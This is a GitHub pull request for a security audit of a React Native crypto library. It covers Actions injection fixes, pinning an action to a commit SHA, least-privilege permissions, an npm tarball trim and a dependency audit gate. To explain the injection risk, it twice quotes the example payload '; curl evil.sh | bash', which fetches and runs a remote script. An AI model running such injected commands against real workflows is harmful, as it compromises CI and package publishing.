feat(security): Phase 5 — cross-cutting security audit (CI hardening + tarball trim + audit gate)#992
Merged
Merged
Conversation
Three findings from the Phase 5 GitHub Actions security review.
(1) `release.yml` — `${{ inputs.version }}` and `${{ inputs.dry-run }}`
were interpolated directly into `run:` shell blocks. Even though
`workflow_dispatch` requires a maintainer to trigger, a malicious or
compromised maintainer account could inject `; curl evil.sh | bash` and
run arbitrary code with the workflow's `contents: write` + `id-token: write`
scopes (npm OIDC trust). Replaces both `inputs.*` interpolations with
`env: VAR: \${{ inputs.* }}` indirection and `\$VAR` in shell — the
GitHub-recommended pattern.
(2) `reviewdog/action-cpplint@master` was floating on the master branch,
so any push the publisher makes (or a compromised account) executes in CI
with whatever scopes the workflow holds. Pin to commit SHA
`9552c62f4bd516c1e3a6f84eae56bd864cc304c6` (= v1.11.0). The 12 master
commits since v1.11.0 are renovate-bot dependency bumps (actions/checkout
v5→v6, peter-evans/create-pull-request v7→v8) — no functional regressions.
(3) Four workflows lacked an explicit `permissions:` block, so they
inherited the repo's default `GITHUB_TOKEN` scope (typically `read/write:all`
on older repos). Add minimum scopes per workflow:
- `validate-cpp.yml`, `validate-js.yml`: `contents: read`, `checks: write`,
`pull-requests: write` — reviewdog needs to post review comments.
- `e2e-android-test.yml`, `e2e-ios-test.yml`: `contents: read`,
`pull-requests: write` — `post-maestro-screenshot` composite posts a
PR comment with the imgbb-uploaded screenshot URL.
Refs: plans/todo/security-audit.md Phase 5.3
Phase 5 published-artifact review: confirm the npm tarball ships zero
keys/secrets/credentials and exclude irrelevant submodule/build cruft so
the published surface area matches what the build actually consumes.
Concrete findings from `npm pack --dry-run` against the previous
`files:` allowlist: 2133 entries / 18.66 MB unpacked, much of it dead
weight from upstream submodule trees and a vendored libsodium copy.
Changes to `files:`:
- Drop blanket `"deps"` and replace with precise per-dep allowlists:
- `deps/blake3/c` (only the C amalgam — the Rust crate at
`deps/blake3/{src,b3sum,benches,reference_impl,tools,test_vectors,...}`,
`Cargo.toml`, `.cargo/`, `.github/`, `media/`, etc. were 1.5+ MB of
pure noise the iOS/Android C build never touches).
- `deps/blake3/LICENSE_{A2,A2LLVM,CC0}` for legal compliance.
- `deps/fastpbkdf2` (already minimal — `.c` + `.h`).
- `deps/ncrypto/include`, `deps/ncrypto/src/{aead,engine,ncrypto}.cpp`,
`deps/ncrypto/LICENSE` (drops Bazel files, `cmake/`, `tests/`,
`CHANGELOG.md`, `release-please-config.json`, `pyproject.toml`).
- `deps/simdutf/include`, `deps/simdutf/src` (amalgam build needs
every arch subdir — arm64, haswell, icelake, lasx, lsx, ppc64, rvv,
westmere, fallback, generic, plus tables/ and simdutf/), plus
`LICENSE-MIT` / `LICENSE-APACHE`. Drops `benchmarks/`, `fuzz/`,
`tests/`, `scripts/`, `tools/`, `doc/`, `singleheader/`,
`AI_USAGE_POLICY.md`, top-level `CMakeLists.txt`, etc.
- Add `!ios/libsodium-stable` exclusion. The podspec already downloads
libsodium at consume-time when SODIUM_ENABLED=1 (lines 27-43 of
QuickCrypto.podspec) and `rm -rf`'s it when disabled (line 67) — the
vendored copy was 6.16 MB / 599 files of pure publish-time pollution
including 2.7 MB of test vectors (`test/default/sign.c`) and Visual
Studio project files for vs2010-vs2026.
- Add `!**/*.tsbuildinfo` to drop tsc's incremental-build cache file
from `lib/`.
- Add `!deps/simdutf/src/CMakeLists.txt` (build script unused by the
RN/iOS/Android consumer).
- Drop dangling entries `"scripts"` (directory doesn't exist) and
`"react-native.config.js"` (file doesn't exist) — npm silently
skipped both, but they were misleading.
Verification — `npm pack --dry-run`:
| | Before | After | Δ |
| ------------ | ------ | ------ | ------ |
| Files | 2133 | 1024 | −52% |
| Unpacked | 18.66M | 6.38M | −66% |
| Packed | 4.55M | 0.90M | −80% |
All build-required files (BLAKE3 portable+NEON+headers, ncrypto includes
and the 3 .cpp files referenced by CMakeLists.txt, simdutf amalgam +
all per-arch subdirs, fastpbkdf2, every cpp/, src/, lib/, nitrogen/,
android/{build.gradle,gradle.properties,CMakeLists.txt,src/}) verified
present after the change.
No keys, certificates, .env files, or credentials were ever in the
tarball before this change either — the only file matching
key-extension regex was `deps/simdutf/scripts/docker/llvm.gpg`, an LLVM
Debian *public* key that simdutf's Docker scripts use, now excluded as
collateral of dropping `deps/simdutf/scripts/`.
Refs: plans/todo/security-audit.md Phase 5.4
Mark all five Phase 5 sub-sections complete and append progress-log entries. [5.1] `bun audit` triage. 83 advisories / 24 unique vulnerable packages (3 critical / 50 high / 25 moderate / 5 low) — none affect the published runtime tree of `react-native-quick-crypto`. The 6 runtime `dependencies` are clean; every advisory is in dev tooling, the example app, or `expo`'s build-time CLI. [5.2] Native dep CVE check. BLAKE3 1.8.2 SAFE; ncrypto v1.1.3 SAFE; fastpbkdf2 SAFE; OpenSSL-Universal 3.6.1 → recommend bump to 3.6.2 when the pod ships it; OpenSSL Android prefab is one minor behind iOS at 3.6.0 → required-bump to 3.6.1+; libsodium 1.0.20's CVE-2025-69277 lives in `crypto_core_ed25519_is_valid_point()` which RNQC does not call. None require fixes inside this PR; tracked as separate dependency-bump follow-ups. [5.5] Expo plugin code-injection review — clean. No user-controlled values are interpolated into shell, paths, or generated source; all file-system writes use `path.join(modRequest.platformProjectRoot, 'Podfile')` with Expo-controlled values; `ConfigProps` is a single optional boolean used only as a gate. No fix required. Phase 5.3 (GH Actions hardening) and 5.4 (published-artifact trim) were fixes, not pure audits, and live in their own commits. Refs: plans/todo/security-audit.md Phase 5 (now fully complete)
All five phases (0–5) are complete and example-app tests pass on the Phase 5 branch. Per the file's own instructions (line 225: "Move this file to plans/done/ when the full audit is complete"), promote it.
…it gate
Two follow-ups identified in code review of the Phase 5 PR.
(1) Tighter `files:` allowlist. The Phase 5.4 trim correctly dropped the
top-level Rust crate at `deps/blake3/{src, b3sum, benches, ...}`, but
missed dead files inside `deps/blake3/c/` itself:
- `blake3_c_rust_bindings/` (54 KB) — Cargo.toml, .rs files, build.rs,
cross_test.sh. Rust subfolder embedded in the C amalgam dir.
- `*_x86-64_*.{S,asm}` (~1.0 MB) — x86 SIMD assembly variants. The
podspec's `source_files` glob is `*.{h,c}` which never picks up `.S`
or `.asm`, and Android CMakeLists explicitly enumerates only
`blake3.c`, `blake3_dispatch.c`, `blake3_portable.c`, `blake3_neon.c`.
- `blake3_{avx2,avx512,sse2,sse41}.c` (~107 KB) — the .c versions of
x86 SIMD that podspec's `exclude_files` already drops from
compilation, but the npm pack still ships.
- `blake3_tbb.cpp`, `main.c`, `example.c`, `example_tbb.c` —
example/main files explicitly in podspec `exclude_files`.
- `test.py`, `Makefile.testing`, `CMakeLists.txt`, `CMakePresets.json`,
`blake3-config.cmake.in`, `libblake3.pc.in`, `dependencies/` —
alternative-build-system scaffolding unused at consume-time.
Verified post-trim: all 6 BLAKE3 source files referenced by Android
CMakeLists are present (blake3.{c,h}, blake3_dispatch.c,
blake3_impl.h, blake3_neon.c, blake3_portable.c). Only the README is
forced-included by npm's hardcoded "always ship README/LICENSE" rule.
`npm pack --dry-run` deltas:
| | Phase 5.4 | After | Δ |
| ----------- | --------- | ------ | ------ |
| Files | 1024 | 989 | −3.4% |
| Unpacked | 6.38 MB | 5.6 MB | −12% |
| Packed | 0.90 MB | 0.85 MB| −5% |
Cumulative vs. original:
| | Original | Now | Δ |
| ----------- | --------- | ------ | ------ |
| Files | 2133 | 989 | −54% |
| Unpacked | 18.66 MB | 5.6 MB | −70% |
| Packed | 4.55 MB | 0.85 MB| −81% |
(2) New CI job: `audit_runtime_deps` in `validate-js.yml`. Locks in
Phase 5.1's audit baseline ("zero advisories in the runtime tree") as
an automated regression gate. Workspace-level `bun audit --prod` walks
through optional peer-dep tooling (expo, react-native, jest, etc.)
which currently surfaces ~70 advisories that never reach a consumer's
runtime bundle — making it useless as a CI gate. Instead, the new job
creates a fresh package.json containing only the 6 runtime
`dependencies:` of `react-native-quick-crypto`
(`@craftzdog/react-native-buffer`, `events`, `readable-stream`,
`safe-buffer`, `string_decoder`, `util`), runs `bun install` cold, and
audits there with `--audit-level=high`. Verified locally: zero
vulnerabilities, exit 0. Any future PR that adds a high+/critical
runtime advisory will fail this check.
Refs: Phase 5 review follow-up
Contributor
🤖 End-to-End Test Results - iOSStatus: ✅ Passed 📸 Final Test ScreenshotScreenshot automatically captured from End-to-End tests and will expire in 30 days This comment is automatically updated on each test run. |
Contributor
🤖 End-to-End Test Results - AndroidStatus: ✅ Passed 📸 Final Test ScreenshotScreenshot automatically captured from End-to-End tests and will expire in 30 days This comment is automatically updated on each test run. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Closes out Phase 5 of the security audit (
plans/done/security-audit.md) — the cross-cutting items:bun audit, native-dep CVE check, GitHub Actions hardening, published-artifact trim, and Expo plugin code-injection review. Three of those phases (5.1, 5.2, 5.5) were pure audits with no code changes; two (5.3, 5.4) required fixes shipped here. A code-review pass after the initial Phase 5 commits surfaced two extra follow-ups (a tighter tarball trim and an audit-baseline CI gate) which are also in this PR.Changes
5.3 — GitHub Actions hardening (
fb14a13)release.yml:${{ inputs.version }}and${{ inputs.dry-run }}were interpolated directly intorun:shell blocks. Even withworkflow_dispatchrequiring a maintainer, a compromised account could inject; curl evil.sh | bashand abuseid-token: write(npm OIDC trust). Both rewritten toenv:indirection with"$VAR"in shell — the GitHub-recommended pattern.reviewdog/action-cpplint@master→ SHA9552c62f…(= v1.11.0). Verified via GH API that 12 master commits since v1.11.0 are renovate-bot dependency bumps with no functional regressions.permissions:blocks tovalidate-cpp.yml,validate-js.yml,e2e-android-test.yml,e2e-ios-test.yml— each commented with why the scopes are needed (reviewdog review comments / post-maestro-screenshot PR comments).5.4 — Published-artifact trim (
d3390d7)npm pack --dry-runagainst the previousfiles:entry was 2133 entries / 18.66 MB unpacked. Replaced the blanket"deps"with precise per-dep allowlists matching whatQuickCrypto.podspecandandroid/CMakeLists.txtactually consume, and excludedios/libsodium-stable(the podspec downloads it at consume-time whenSODIUM_ENABLED=1andrm -rf's it when disabled — the vendored 6.16 MB / 599-file copy was pure publish-time pollution).Phase 5 review follow-up (
596febd)Code review of the Phase 5 commits found two extra opportunities:
files:allowlist: Phase 5.4 dropped the top-level Rust crate atdeps/blake3/{src, b3sum, benches, ...}but misseddeps/blake3/c/blake3_c_rust_bindings/(54 KB of Rust bindings inside the C dir) and ~1.0 MB of x86 Windows SIMD assembly that's never compiled on iOS/Android. Added 16 targeted exclusions.bun auditCI gate: Newaudit_runtime_depsjob invalidate-js.yml. Workspace-levelbun audit --prodwalks through optional peer-dep tooling (expo, react-native, etc.) which surfaces ~70 advisories that never reach a consumer's runtime bundle. The new job creates a fresh package.json with only the 6 runtimedependencies:of RNQC, runsbun installcold, and audits there with--audit-level=high. Locks in Phase 5.1's "zero advisories in the runtime tree" baseline as automated regression prevention.5.1 / 5.2 / 5.5 (
406a3c4,155c1c1)Pure-audit phases — no code changes, only progress-log entries in
plans/done/security-audit.md:bun audittriage. 83 advisories / 24 unique vulnerable packages (3 critical / 50 high / 25 moderate / 5 low) — none affect the published runtime tree. Every reported advisory is in dev tooling, the example app, or expo's build-time CLI.crypto_core_ed25519_is_valid_point()which RNQC doesn't call. Tracked as separate dep-bump issues: deps(ios): bump OpenSSL-Universal pod 3.6.1 → 3.6.2 #987, deps(android): bump OpenSSL prefab 3.6.0 → 3.6.1+ (track @ronickg release) #988, deps: bump libsodium 1.0.20 → 1.0.22 (clear scanners) #989, deps: bump BLAKE3 submodule 1.8.2 → 1.8.5 (opportunistic) #990, deps: bump ncrypto submodule v1.1.3 → tip (opportunistic) #991.Tarball-trim metrics
Verified post-trim: all build-required files present (BLAKE3 portable+NEON+headers, ncrypto includes + 3 .cpp files in CMakeLists, simdutf amalgam plus all 10 per-arch subdirs, fastpbkdf2, full
cpp/,lib/,nitrogen/,android/trees).Follow-up dep-bump issues (created out of this PR)
Phase 5.2's native-dep CVE check identified bumps that aren't blockers but should be tracked:
Test plan
Validate JS— confirm newaudit_runtime_depsjob goes green (expected: zero high+ advisories in the runtime tree)Validate C++— confirm pinnedreviewdog/action-cpplint@9552c62f…runs cleanlyE2E iOS— confirm newpermissions:block doesn't break the maestro-screenshot PR comment compositeE2E Android— samerelease.yml(withdry-run: true) to confirm theenv:-indirected version/dry-run inputs still flow through tobun releaseandbun release-itfiles:produces the expected ~989-file / 0.85 MB packed artifact